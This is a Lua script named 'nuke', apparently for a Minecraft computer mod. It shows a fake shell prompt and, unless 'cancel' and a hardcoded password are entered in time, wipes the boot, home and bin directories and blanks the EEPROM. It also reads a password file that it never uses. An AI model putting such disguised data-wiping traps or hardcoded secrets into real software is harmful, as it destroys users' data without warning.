nuke

local fs = require("filesystem")
local component = require("component")
local shell = require("shell")
local term = require("term")
local event = require("event")
term.clear()

if fs.exists("/home") then
  shell.setWorkingDirectory("/home")
end

if fs.exists("/etc/motd") then
  os.execute("/etc/motd")
end
local id
local g
if component.isAvailable("gpu") then
  g = component.gpu
end

function wipe()
  event.cancel(id)
  component.computer.beep(100,3)
  local w, h = g.getResolution()
  g.setBackground(0x0000FF)
  term.clear()
  g.set(w/2-("Should've been quicker."):len()/2,h/2,"Should've been quicker.")
  fs.remove("/boot")
  fs.remove("/home")
  component.eeprom.set("")
  fs.remove("/bin")
  fs.remove("/autorun.exe")
  os.exit()
end

if component.isAvailable("gpu") then
  term.clearLine()
  local g = component.gpu
  g.setForeground(0xFF0000)
  local wd = shell.getWorkingDirectory()
  local x, y = term.getCursor()
  print(wd.." # ")
  g.setForeground(0xFFFFFF)
  term.setCursor(wd:len() + 4, y)
  local input = io.read()
  if input == "cancel" then
    g.setForeground(0xFF0000)
    id = event.timer(5, wipe)
    print("Data will be wiped in 5 seconds or if an incorrect password is entered. Enter password now.\n")
    local pass = io.read()
    local file = io.open("/bin/password.txt","r")
    local content = file:read("*a")
    file:close()

    if pass == "s3cr3t" then
      local succ = event.cancel(id)
      g.setForeground(0x00FF00)
      if succ then
        print("Cancelled sucessfully.")
      else
        g.setForeground(0x00FF00)
        print("Error cancelling timer. shutting down")
        component.computer.stop()
      end
      os.sleep(3)
      os.exit()
    else
      wipe()
    end
  else
    id = event.timer(1, wipe)
    wipe()
  end
end